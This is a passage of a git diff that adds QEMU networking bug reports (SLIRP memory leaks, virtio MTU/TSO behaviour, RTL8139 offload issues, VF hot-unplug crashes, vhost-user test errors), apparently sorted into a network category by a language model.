virtio-blk-device,drive=vm1 -netdev type=tap,id=net0,ifname=tap0 \ + -device virtio-net-device,netdev=net0,mac="52:54:00:12:34:58" + +For x86 same virtio command for network. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1288620 b/results/classifier/gemma3:12b/network/1288620 new file mode 100644 index 000000000..1a3168351 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1288620 @@ -0,0 +1,18 @@ + +memory leak with config file + +I have a Windows 7 SP1 Professional 64-bit installation on a QCOW2 image with compat=1.1, which I launch via + +qemu-system-x86_64 -drive file=windows_base_HDD.img,index=0,media=disk -enable-kvm -m 512M -vga std -net nic,vlan=0 -net user,vlan=0 + +As soon as I start using the network in any application — for example, visiting www.google.com in Internet Explorer — QEMU starts gobbling memory until the (host) kernel kills it because of an OOM condition. If I run the QEMU with the same options, but with model=e1000 option set for the NIC (i.e. -net -nic,vlan=0,model=e1000), I can use the network from the guest OS without any noticeable effect on QEMU's memory consumption. + +I do not have this problem when running QEMU with the exact same options (as above, without model=e1000) but with a Debian wheezy installation (on a QCOW image of the same format). My host system in Ubuntu 13.10 x86_64, kernel image 3.11.0-17-generic, but with the QEMU packages from trusty (the codename for the next release): +Output of `dpkg -l \*qemu\* | grep '^ii'`: +ii ipxe-qemu 1.0.0+git-20130710.936134e-0ubuntu1 all Virtual package to support use of kvm-ipxe with qemu +ii qemu-keymaps 1.7.0+dfsg-3ubuntu2 all QEMU keyboard maps +ii qemu-system-common 1.7.0+dfsg-3ubuntu2 amd64 QEMU full system emulation binaries (common files) +ii qemu-system-x86 1.7.0+dfsg-3ubuntu2 amd64 QEMU full system emulation binaries (x86) +ii qemu-utils 1.7.0+dfsg-3ubuntu2 amd64 QEMU utilities + +(If necessary, I can try to reproduce this with QEMU built from the upstream source or the latest source from version control.) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1296 b/results/classifier/gemma3:12b/network/1296 new file mode 100644 index 000000000..ddfe186a8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1296 @@ -0,0 +1,9 @@ + +qemu hangs on start with a bridged NIC +Description of problem: +qemu hangs on start with a bridged NIC. And there is no difference exists the bridge or not. At the same with a user NIC (`-nic user`) everything works flawlessly. Also I tried to add `-enable-kvm` key and had no luck. +Steps to reproduce: +1. Run qemu with the specified command line. +Additional information: +I ran the strace: `strace -s 1024 -tt -ff -y -o qemu_bridge -- qemu-system-x86_64 -nic bridge` +Here are the logs: [qemu-bridge-strace.zip](/uploads/ecf8a2ba9133279fdd6f88fda5dd9ff3/qemu-bridge-strace.zip) diff --git a/results/classifier/gemma3:12b/network/1297487 b/results/classifier/gemma3:12b/network/1297487 new file mode 100644 index 000000000..93cd9cf1b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1297487 @@ -0,0 +1,169 @@ + +MTU not honored in virtio vnet + +I am observing a potential regression/different behavior between rel. 14.04 (dev branch) and release 13.04. + +My hardware is: Cisco UCS blade B200-M3 and the network adapter card: Cisco UCS VIC 1240. + +lsb_release -rd +Description: Ubuntu Trusty Tahr (development branch) +Release: 14.04 + +uname -a +Linux konan2 3.13.0-19-generic #40-Ubuntu SMP Mon Mar 24 02:36:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux + +The problem: +After starting a kvm with virtio interfaces I am passing HTTP traffic via an external network traffic simulator. +The tool is sending a TCP packet of 3481B, because the tool MTU is set to 1400B, it splits the packets into 3 TCP segments. +When the 3 segments are received at the host eth1 interface, the host (ubuntu 14.04) reassembles the TCP packets into a larger packet (GRO), then passes the packet up on vnet1. At this point, because vnet1 MTU is 1500B, it is supposed to re-segment the packet and pass the 3 segments up to the VM. But it passes the big 3481B packet instead. + +This behavior did not happen when I tried the same scenario in release 13.04 + +I can disable this behavior by disabling TSO (TCP segment offloading in the vnet), but I did not have to do this in rel. 13.04 and I feel the MTU is not honored as it should be with rel. 14.04. + + ip link show | grep eth1 +3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq master br1 state UP mode DEFAULT group default qlen 1000 + ip link show | grep vnet1 +16: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br1 state UNKNOWN mode DEFAULT group default qlen 500 + +I am attaching two tcpdump/pcap traces that show a TCP transaction passing on vnet1 when TSO is on and when TSO is off. + +Please see: + +- vnet1_tso_on.pcap +- vnet1_tso_off.pcap + +in attachment. + +I noticed there was a driver upgrade in rel. 14.04: + +in 14.04: + +ethtool -i eth1 +driver: enic +version: 2.1.1.50 +firmware-version: 2.1(3a) +bus-info: 0000:07:00.0 +supports-statistics: yes +supports-test: no +supports-eeprom-access: no +supports-register-dump: no +supports-priv-flags: no + +ethtool -i vnet1 +driver: tun +version: 1.6 +firmware-version: +bus-info: tap +supports-statistics: no +supports-test: no +supports-eeprom-access: no +supports-register-dump: no +supports-priv-flags: no + +ethtool -k vnet1 +Features for vnet1: +rx-checksumming: off [fixed] +tx-checksumming: on + tx-checksum-ipv4: off [fixed] + tx-checksum-ip-generic: on + tx-checksum-ipv6: off [fixed] + tx-checksum-fcoe-crc: off [fixed] + tx-checksum-sctp: off [fixed] +scatter-gather: on + tx-scatter-gather: on + tx-scatter-gather-fraglist: on +tcp-segmentation-offload: off + tx-tcp-segmentation: off + tx-tcp-ecn-segmentation: off + tx-tcp6-segmentation: off +udp-fragmentation-offload: on +generic-segmentation-offload: on +generic-receive-offload: on +large-receive-offload: off [fixed] +rx-vlan-offload: off [fixed] +tx-vlan-offload: on +ntuple-filters: off [fixed] +receive-hashing: off [fixed] +highdma: off [fixed] +rx-vlan-filter: off [fixed] +vlan-challenged: off [fixed] +tx-lockless: off [fixed] +netns-local: off [fixed] +tx-gso-robust: off [fixed] +tx-fcoe-segmentation: off [fixed] +tx-gre-segmentation: off [fixed] +tx-ipip-segmentation: off [fixed] +tx-sit-segmentation: off [fixed] +tx-udp_tnl-segmentation: off [fixed] +tx-mpls-segmentation: off [fixed] +fcoe-mtu: off [fixed] +tx-nocache-copy: on +loopback: off [fixed] +rx-fcs: off [fixed] +rx-all: off [fixed] +tx-vlan-stag-hw-insert: on +rx-vlan-stag-hw-parse: off [fixed] +rx-vlan-stag-filter: off [fixed] +l2-fwd-offload: off [fixed] + + + +in 13.04 : + +ethtool -i eth1 +driver: enic +version: 2.1.1.39 +firmware-version: 2.1(3a) +bus-info: 0000:07:00.0 +supports-statistics: yes +supports-test: no +supports-eeprom-access: no +supports-register-dump: no +supports-priv-flags: no + + +ethtool -i vnet1 +driver: tun +version: 1.6 +firmware-version: +bus-info: tap +supports-statistics: no +supports-test: no +supports-eeprom-access: no +supports-register-dump: no +supports-priv-flags: no + + +ethtool -k vnet1 +Features for vnet1: +rx-checksumming: off [fixed] +tx-checksumming: on + tx-checksum-ipv4: off [fixed] + tx-checksum-ip-generic: on + tx-checksum-ipv6: off [fixed] + tx-checksum-fcoe-crc: off [fixed] + tx-checksum-sctp: off [fixed] +scatter-gather: on + tx-scatter-gather: on + tx-scatter-gather-fraglist: on +tcp-segmentation-offload: on + tx-tcp-segmentation: on + tx-tcp-ecn-segmentation: on + tx-tcp6-segmentation: on +udp-fragmentation-offload: on +generic-segmentation-offload: on +generic-receive-offload: on +large-receive-offload: off [fixed] +rx-vlan-offload: off [fixed] +tx-vlan-offload: off [fixed] +ntuple-filters: off [fixed] +receive-hashing: off [fixed] +highdma: off [fixed] +rx-vlan-filter: off [fixed] +vlan-challenged: off [fixed] +tx-lockless: off [fixed] +netns-local: off [fixed] +tx-gso-robust: off [fixed] +tx-fcoe-segmentation: off [fixed] +fcoe-mtu: off [fixed] \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1297781 b/results/classifier/gemma3:12b/network/1297781 new file mode 100644 index 000000000..097064da5 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1297781 @@ -0,0 +1,9 @@ + +Network device cannot communicate with host machine + +I know this used to work but it doesnt work any more using qemu 1.4.2 on fedora 19 everything works fine +except when i add a NIC sharing the main interface from the host (not the virtual network) + +the hosts ip is 10.0.0.4, the router is 10.0.0.1 so when i boot my virtual machine it gets an ip from the router no problem +i get on the internet fine, and i can connect (ping,ftp, samba whatever) to all the computers on the network except the host +10.0.0.4 i can't ping it, i cant do anything to it, but i can connect to all the other computers on the network and i know i used to be able to do this because thats how i shared files between the host and windows guest, with samba... but now i can't browse the host computer because it can't communicate... please help. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1310714 b/results/classifier/gemma3:12b/network/1310714 new file mode 100644 index 000000000..95d57b7dd --- /dev/null +++ b/results/classifier/gemma3:12b/network/1310714 @@ -0,0 +1,86 @@ + +User mode networking SLIRP rapid memory leak + +QEMU compiled from git HEAD at 2d03b49c3f225994c4b0b46146437d8c887d6774 and reproducible at tag v2.0.0. I first noticed this bug using Ubuntu Trusty's QEMU 2.0.0~rc1. I used to run QEMU 1.7 without this problem. + +This is the command I ran: + +qemu-system-x86_64 -enable-kvm -smp 2 -m 1G -usbdevice tablet -net nic,model=e1000 -net user -vnc localhost:99 -drive if=ide,file=test.img,cache=none -net nic -net user,tftp=/tmp/tftpdata -no-reboot + +The guest is Windows 7 64-bit. The VM starts off normally, but after a couple of minutes, the memory usage starts to swell. If let running, it eventually consumes all host memory and grinds the host to a halt due to heavy swapping. + +When running under gdb, I set a breakpoint on mmap, and this is the stack trace I obtained. + +Breakpoint 1, mmap64 () at ../sysdeps/unix/syscall-template.S:81 +81 in ../sysdeps/unix/syscall-template.S +(gdb) where +#0 mmap64 () at ../sysdeps/unix/syscall-template.S:81 +#1 0x00007ffff0e65091 in new_heap (size=135168, size@entry=1728, + top_pad=<optimized out>) at arena.c:554 +#2 0x00007ffff0e687b2 in sysmalloc (av=0x7fffd0000020, nb=1664) + at malloc.c:2386 +#3 _int_malloc (av=0x7fffd0000020, bytes=1650) at malloc.c:3740 +#4 0x00007ffff0e69f50 in __GI___libc_malloc (bytes=1650) at malloc.c:2855 +#5 0x00005555557a091a in m_get (slirp=0x5555561fe960) + at /src/qemu/slirp/mbuf.c:73 +#6 0x00005555557a3151 in slirp_input (slirp=0x5555561fe960, + pkt=0x7ffff7e94b20 "RU\n", pkt_len=<optimized out>) + at /src/qemu/slirp/slirp.c:747 +#7 0x0000555555758b24 in net_slirp_receive (nc=<optimized out>, + buf=<optimized out>, size=54) at /src/qemu/net/slirp.c:113 +#8 0x00005555557567d1 in qemu_deliver_packet (sender=<optimized out>, + flags=<optimized out>, data=<optimized out>, size=<optimized out>, + opaque=<optimized out>) at /src/qemu/net/net.c:471 +#9 0x00005555557588d3 in qemu_net_queue_deliver (size=54, + data=0x7ffff7e94b20 "RU\n", flags=0, sender=0x5555561fe5e0, + queue=0x5555561fe1d0) at /src/qemu/net/queue.c:157 +#10 qemu_net_queue_send (queue=0x5555561fe1d0, sender=0x5555561fe5e0, flags=0, + data=0x7ffff7e94b20 "RU\n", size=54, sent_cb=<optimized out>) + at /src/qemu/net/queue.c:192 +---Type <return> to continue, or q <return> to quit--- +#11 0x000055555575536b in net_hub_receive (len=54, buf=0x7ffff7e94b20 "RU\n", + source_port=0x5555561fe310, hub=<optimized out>) at /src/qemu/net/hub.c:55 +#12 net_hub_port_receive (nc=0x5555561fe310, buf=0x7ffff7e94b20 "RU\n", len=54) + at /src/qemu/net/hub.c:114 +#13 0x00005555557567d1 in qemu_deliver_packet (sender=<optimized out>, + flags=<optimized out>, data=<optimized out>, size=<optimized out>, + opaque=<optimized out>) at /src/qemu/net/net.c:471 +#14 0x00005555557588d3 in qemu_net_queue_deliver (size=54, + data=0x7ffff7e94b20 "RU\n", flags=0, sender=0x555556531920, + queue=0x5555561fe090) at /src/qemu/net/queue.c:157 +#15 qemu_net_queue_send (queue=0x5555561fe090, sender=0x555556531920, flags=0, + data=0x7ffff7e94b20 "RU\n", size=54, sent_cb=<optimized out>) + at /src/qemu/net/queue.c:192 +#16 0x00005555556db95d in xmit_seg (s=0x7ffff7e72010) + at /src/qemu/hw/net/e1000.c:628 +#17 0x00005555556dbd38 in process_tx_desc (dp=0x7fffdf7fda30, s=0x7ffff7e72010) + at /src/qemu/hw/net/e1000.c:723 +#18 start_xmit (s=0x7ffff7e72010) at /src/qemu/hw/net/e1000.c:778 +#19 set_tctl (s=0x7ffff7e72010, index=<optimized out>, val=<optimized out>) + at /src/qemu/hw/net/e1000.c:1142 +#20 0x0000555555840fb0 in access_with_adjusted_size (addr=14360, + value=0x7fffdf7fdb10, size=4, access_size_min=<optimized out>, + access_size_max=<optimized out>, +---Type <return> to continue, or q <return> to quit--- + access=0x555555841160 <memory_region_write_accessor>, mr=0x7ffff7e747c0) + at /src/qemu/memory.c:478 +#21 0x00005555558462fe in memory_region_dispatch_write (size=4, data=454, + addr=14360, mr=0x7ffff7e747c0) at /src/qemu/memory.c:990 +#22 io_mem_write (mr=0x7ffff7e747c0, addr=14360, val=<optimized out>, size=4) + at /src/qemu/memory.c:1744 +#23 0x00005555557e8717 in address_space_rw ( + as=0x555556159c80 <address_space_memory>, addr=4273485848, + buf=0x7ffff7fed028 "\306\001", len=4, is_write=true) + at /src/qemu/exec.c:2034 +#24 0x000055555583ff65 in kvm_cpu_exec (cpu=<optimized out>) + at /src/qemu/kvm-all.c:1704 +#25 0x00005555557ddb6c in qemu_kvm_cpu_thread_fn (arg=0x55555651b730) + at /src/qemu/cpus.c:873 +#26 0x00007ffff11b6182 in start_thread (arg=0x7fffdf7fe700) + at pthread_create.c:312 +#27 0x00007ffff0ee1b2d in clone () + at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 + +Let me know if you have any questions. Thanks. + +liulk \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1312 b/results/classifier/gemma3:12b/network/1312 new file mode 100644 index 000000000..48e2ba461 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1312 @@ -0,0 +1,12 @@ + +TCP performance problems - GSO/TSO, MSS, 8139 related (Ignores lower MTU from PMTUD/MSS) +Description of problem: +MTU handling on guests using an RTL8139 virtualized NIC is broken; net/hw/8139.c works with a static MTU of 1500b for TCP offloading, leading to low throughput when clients connect from sub 1500MTU networks. PMTUD is ignored, and locking to a lower MTU in the OS mitigates the issue. +Steps to reproduce: +1. Create a guest with an RTL8139 nic +2. Try to retrieve a file from a client behind a sub 1500 MTU link +3. Observe low bandwidth due to retransmits +Additional information: +I just debugged this issue for an NGO which, for whatever reason, had an RTL8139 NIC in their guest. After i finally traced this to the RTL8139, i found this qemu-devel/netdev thread from six years ago, which apparently already debugged this issue and proposed a patch: https://lore.kernel.org/all/20161114162505.GD26664@stefanha-x1.localdomain/ + +I did not test the patch proposed there, but note that `net/hw/8139.c` still looks as discussed in that qemu-devel/netdev thread. As i haven't found a bug report in the archives, i figured you might want to know. diff --git a/results/classifier/gemma3:12b/network/1315 b/results/classifier/gemma3:12b/network/1315 new file mode 100644 index 000000000..fd1b8ec91 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1315 @@ -0,0 +1,2 @@ + +Assertion failure in vmxnet3_activate_device diff --git a/results/classifier/gemma3:12b/network/1322 b/results/classifier/gemma3:12b/network/1322 new file mode 100644 index 000000000..b8dde77ab --- /dev/null +++ b/results/classifier/gemma3:12b/network/1322 @@ -0,0 +1,2 @@ + +Unknown protocol 'ssh' diff --git a/results/classifier/gemma3:12b/network/1326986 b/results/classifier/gemma3:12b/network/1326986 new file mode 100644 index 000000000..c332509e0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1326986 @@ -0,0 +1,13 @@ + +e1000 - no link detected by VXWorks based guest + +I'm trying to get a VXWorks image running inside a qemu guest. I have the machine running, however, the vxworks image only has support for the 82544EI device so I had to change the device ID in e1000.c to get the device even recognized so I'm not sure if this is a bug or an issue for the development list. + + +After changing e1000.c, the device is now seen by the guest OS, however, it never gets a link. I've attached the e1000 debug logs in the hopes that someone can help me understand where to start looking into why this guest won't get a link. + +I tested the updated e1000 driver with a debian live CD and the card works under it, so it doesn't appear that the issue is with the driver string change but rather something in the e1000 driver itself. + +Here is the command I'm using to start QEMU: + +/opt/qemu/bin/qemu-system-i386 -cpu coreduo -hda /root/vxworks_test -m 2048 -netdev tap,ifname=tap0,id=net0 -netdev tap,ifname=tap1,id=net1 -device e1000,netdev=net0,mac=00:00:e8:01:02:03 -device e1000,netdev=net1,mac=00:00:e8:01:02:04 -boot c -curses -no-kvm -D /tmp/qemu.log 2>/tmp/e1000.log \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1327 b/results/classifier/gemma3:12b/network/1327 new file mode 100644 index 000000000..7f4dddb32 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1327 @@ -0,0 +1,91 @@ + +vhost-user-test outputs scary messages +Description of problem: +The qos-test seems to output failure messages when run in verbose mode, see e.g.: + +https://gitlab.com/qemu-project/qemu/-/jobs/3340919275#L5615 + +``` +――――――――――――――――――――――――――――――――――――― ✀ ――――――――――――――――――――――――――――――――――――― +stderr: +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 0 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 1 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: -chardev socket,id=chr-reconnect,path=/tmp/vhost-test-9B51V1/reconnect.sock,server=on: info: QEMU waiting for connection on: disconnected:unix:/tmp/vhost-test-9B51V1/reconnect.sock,server=on +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 0 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 1 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: -chardev socket,id=chr-connect-fail,path=/tmp/vhost-test-49UUV1/connect-fail.sock,server=on: info: QEMU waiting for connection on: disconnected:unix:/tmp/vhost-test-49UUV1/connect-fail.sock,server=on +qemu-system-aarch64: -netdev vhost-user,id=hs0,chardev=chr-connect-fail,vhostforce=on: Failed to read msg header. Read 0 instead of 12. Original request 1. +qemu-system-aarch64: -netdev vhost-user,id=hs0,chardev=chr-connect-fail,vhostforce=on: vhost_backend_init failed: Protocol error +qemu-system-aarch64: -netdev vhost-user,id=hs0,chardev=chr-connect-fail,vhostforce=on: failed to init vhost_net for queue 0 +qemu-system-aarch64: -netdev vhost-user,id=hs0,chardev=chr-connect-fail,vhostforce=on: info: QEMU waiting for connection on: disconnected:unix:/tmp/vhost-test-49UUV1/connect-fail.sock,server=on +qemu-system-aarch64: Failed to write msg. Wrote -1 instead of 20. +qemu-system-aarch64: vhost VQ 0 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 1 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: -chardev socket,id=chr-flags-mismatch,path=/tmp/vhost-test-LTKOV1/flags-mismatch.sock,server=on: info: QEMU waiting for connection on: disconnected:unix:/tmp/vhost-test-LTKOV1/flags-mismatch.sock,server=on +qemu-system-aarch64: Failed to write msg. Wrote -1 instead of 52. +qemu-system-aarch64: vhost_set_mem_table failed: Invalid argument (22) +qemu-system-aarch64: unable to start vhost net: 22: falling back on userspace virtio +vhost lacks feature mask 0x40000000 for backend +qemu-system-aarch64: failed to init vhost_net for queue 0 +qemu-system-aarch64: Failed to write msg. Wrote -1 instead of 20. +qemu-system-aarch64: vhost_set_vring_num failed: Invalid argument (22) +qemu-system-aarch64: unable to start vhost net: 22: falling back on userspace virtio +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 0 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 1 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 2 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 3 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 0 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 1 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 0 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 1 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_endian failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 0 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost VQ 1 ring restore failed: -22: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_call failed: Invalid argument (22) +qemu-system-aarch64: Failed to set msg fds. +qemu-system-aarch64: vhost_set_vring_call failed: Invalid argument (22) +―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― +``` diff --git a/results/classifier/gemma3:12b/network/1333 b/results/classifier/gemma3:12b/network/1333 new file mode 100644 index 000000000..9cba570e3 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1333 @@ -0,0 +1,12 @@ + +vhost-user-test qos-test fails on s390x host +Description of problem: +The qos-test is now definitely failing in the ubuntu-20.04-s390x-all CI job. See https://gitlab.com/qemu-project/qemu/-/jobs/3363173491 , then click on "Complete Raw" to see the full log. Quoting: + +``` +ERROR:../tests/qtest/vhost-user-test.c:248:wait_for_fds: assertion failed: (s->fds_num) +** +ERROR:../tests/qtest/qos-test.c:191:subprocess_run_one_test: child process (/arm/virt/virtio-mmio/virtio-bus/vhost-user-gpio-device/vhost-user-gpio/vhost-user-gpio-tests/read-guest-mem/memfile/subprocess [274051]) failed unexpectedly + +(test program exited with status code -6) +``` diff --git a/results/classifier/gemma3:12b/network/1353947 b/results/classifier/gemma3:12b/network/1353947 new file mode 100644 index 000000000..2f1caee6e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1353947 @@ -0,0 +1,15 @@ + +Hypervisor with QEMU-2.0/libvirtd 1.2.2 stack when launching VM with CirrOS or Ubuntu 12.04 + +The issue observed when running an hypervisor with QEMU 2.0/libvirtd 1.2.2 +The VM network interface is attached to a PCI virtual function (SR-IOV). + +When we ran VM with guest OS CirrOS or Ubuntu 12.04 we observed an hipervisor hang shortly after the VM is loaded +We observed the same issue with Mellanox NIC and with Intel NIC + +We’ve tried few combinations of {GuestOS}X{Hypervisor} and we got the following findings: +When a hypervisor is running QEMU 1.5/libvirtd 1.1.1 - no issue observed +When a hypervisor is running QEMU 2.0/libvirtd 1.2.2 - CirrOS and Ubuntu 12.04 guest OSes caused hypervisor hang +When a hypervisor is running QEMU 2.0/libvirtd 1.2.2 - CentOS 6.4 and Ubuntu 13.10 - no issue observed + +The problematic guest OSes are with kernel versions ~3.2.y \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1354279 b/results/classifier/gemma3:12b/network/1354279 new file mode 100644 index 000000000..10fb86319 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1354279 @@ -0,0 +1,53 @@ + +The guest will be destroyed after hot remove the VF from the guest. + +Environment: +------------ +Host OS (ia32/ia32e/IA64):ia32e +Guest OS (ia32/ia32e/IA64):ia32e +Guest OS Type (Linux/Windows):Linux +kvm.git Commit:9f6226a762c7ae02f6a23a3d4fc552dafa57ea23 +qemu.git Commit:5a7348045091a2bc15d85bb177e5956aa6114e5a +Host Kernel Version:3.16.0-rc1 +Hardware:Romley_EP, Ivytown_EP,Haswell_EP + + +Bug detailed description: +-------------------------- +hot add the VF to the guest, then hot remove the VF from the guest, the guest will be destroyed. + +note: +1. when hot add the VF with vfio, the hot remove the VF from the guest, the guest works fine. +2. this shoule be a qemu bug: +kvm + qemu = result +9f6226a7 + 5a734804 = bad +9f6226a7 + 9f862687 = good + + + +Reproduce steps: +---------------- +1. create guest +qemu-system-x86_64 --enable-kvm -m 1024 -smp 4 -net none rhel6u5.qcow -monitor pty +2. hot add the vf to guest +echo "device_add pci-assign,host=05:10.0,id=nic" >/dev/pts/x +cat /dev/pts/x +3. hot remove the VF froem guest +echo "device_del nic" >/dev/pts/x + +Current result: +---------------- +the guest willl be destroyed after hot remove the VF from the guest + +Expected result: +---------------- +the guest works fine after hot remove the VF from the guest + + +Basic root-causing log: +---------------------- +[root@vt-snb9 qemu.git]# qemu-system-x86_64 -enable-kvm -m 1024 -smp 2 -net none rhel6u5.qcow -monitor pty +VNC server running on `::1:5900' +** +ERROR:qom/object.c:725:object_unref: assertion failed: (obj->ref > 0) +Aborted (core dumped) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1355 b/results/classifier/gemma3:12b/network/1355 new file mode 100644 index 000000000..24f9e52e7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1355 @@ -0,0 +1,2 @@ + +qemu-system-x86_64: Issue while setting TUNSETSTEERINGEBPF: Invalid argument with fd: 13, prog_fd: -1 diff --git a/results/classifier/gemma3:12b/network/1365 b/results/classifier/gemma3:12b/network/1365 new file mode 100644 index 000000000..14f72b35f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1365 @@ -0,0 +1,25 @@ + +qemu on m1 mac loses network connection after some time running +Description of problem: +While running qemu with podman machine on m1 mac, after a while the network connections will stop answering. +When running with the console window dmesg will start showing the following messages +``` +uq: 0x1, name: output.0, 2263286224 uses ago +[37689.0770611 virtio_net virtioo emposi: TX timeout on queue: 0, sq: output.o, uq: 0x1, name: output.0, 2268226224 uses ago +[37693.7877481 virtio_net virtio@ emposi: TX timeout on queue: 0, sq: output.o, uq: 0x1, name: output.0, 2273326224 uses ago +[37698.3116991 virtio_net virtioo emposi: TX timeout on queue: 0, sq: output.o, uq: 0x1, name: output.0, 2278226224 uses ago +[37702.9616661 virtio_net virtioo emposi: TX timeout on queue: 0, sq: output.o, uq: 0x1, name: output.0, 2283266224 uses ago +[37707.5462551 virtio_net virtiod empos1: IX timeout on queue: 0, sq: output.O, ug: Ox1, name: output.O, 2288226224 usecs ago +[37712.205242) virtio_net virtio@ enposI: IX timeout on queue: 0, sq: output.o, uq: 0x1, name: output. 0, 2293276224 uses ago +[37716.7708171 virtio_net virtiod enpOsi: IX timeout on queue: 0, sq: output.o, uq: 0x1, name: output. 0, 2298226224 uses ago + +``` +Steps to reproduce: +1. Run `/opt/homebrew/bin/qemu-system-aarch64 -m 12048 -smp 8 -fw_cfg name=opt/com.coreos/config,file=$HOME/.config/containers/podman/machine/qemu/podman-machine-default.ign -qmp unix:$TEMP/podman/qmp_podman-machine-default.sock,server=on,wait=off -netdev socket,id=vlan,fd=3 -device virtio-net-pci,netdev=vlan,mac=5a:94:ef:e4:0c:ee -device virtio-serial -chardev socket,path=$TEMP/podman/podman-machine-default_ready.sock,server=on,wait=off,id=apodman-machine-default_ready -device virtserialport,chardev=apodman-machine-default_ready,name=org.fedoraproject.port.0 -pidfile $TEMP/podman/podman-machine-default_vm.pid -accel hvf -accel tcg -cpu host -M virt,highmem=on -drive file=/opt/homebrew/share/qemu/edk2-aarch64-code.fd,if=pflash,format=raw,readonly=on -drive file=$HOME/.local/share/containers/podman/machine/qemu/podman-machine-default_ovmf_vars.fd,if=pflash,format=raw -virtfs local,path=$HOME,mount_tag=vol0,security_model=mapped-xattr -drive if=virtio,file=$HOME/.local/share/containers/podman/machine/qemu/podman-machine-default_fedora-coreos-37.20221127.2.0-qemu.aarch64.qcow2` +2. Keep using the system and eventually `ssh localhost +3. +Additional information: +network configuration + + +I will try to add more info as I get them diff --git a/results/classifier/gemma3:12b/network/1384892 b/results/classifier/gemma3:12b/network/1384892 new file mode 100644 index 000000000..5368832d7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1384892 @@ -0,0 +1,21 @@ + +RTL8168 NIC VFIO not working anymore since QEMU 2.1 + +After upgrading QEMU from 2.0 to 2.1 (and libiscsi from 1.7.0 to 1.12 as a dependency) my two RTL8168 NICs stopped working. +The NICs do not respond to any command and even the LEDs on the network connection turn off, a few seconds after the VM started. +To get them back running I had to downgrade to 2.0 